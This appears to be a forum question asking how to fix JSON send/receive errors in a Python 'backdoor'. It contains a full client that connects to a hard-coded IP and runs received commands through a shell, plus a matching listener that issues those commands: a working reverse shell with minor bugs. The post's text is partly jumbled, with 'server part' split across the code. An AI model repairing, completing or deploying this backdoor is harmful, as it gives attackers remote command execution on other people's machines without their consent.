How to fix reciever and sender for backdoor

import socket
import subprocess
import json


#client part
class Backdoor:
    def __init__(self, ip, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data)

    def reliable_recieve(self):
        json_data = self.connection.recv(1024)
        return json.loads(json_data)
    
    def execute_system_command(self, command):
        return subprocess.check_output(command, shell=True)

    def run(self):
        while True:
            command = self.reliable_recieve()
            command_result = self.execute_system_command(command)
            print(command_result)
            self.reliable_send(command_result)
        connection.close()






myBackdoor = Backdoor("192.168.0.21", 80)
myBackdoor.run()


#ser

> Error on Client part: TypeError: Object of type bytes is not JSON serializable
Error on Server part: raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

ver part

import json
import socket


class Listener:
    def __init__(self, ip, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print("[+] Waiting for incoming connection")
        self.connection, address = listener.accept()
        print("[+] Got a connection from " + str(address))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data)

    def relaible_receive(self):
        json_data = self.connection.recv(1024)
        return json.loads(json_data)

    def execute_remotely(self, command):
        self.reliable_send(command.encode('utf-8'))
        return self.relaible_receive()

    def run(self):
        while True:
            command = input('>>')
            result = self.execute_remotely(command)
            print(result)


my_listener = Listener("192.168.1.105", 4444)
my_listener.run()

OKay: edited - Question how fix problems on Server Part and Client Part

Error on Server part: raise JSONDecodeError("Expecting value", s, err.value) from None json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

Error on Client Part: TypeError: Object of type bytes is not JSON serializable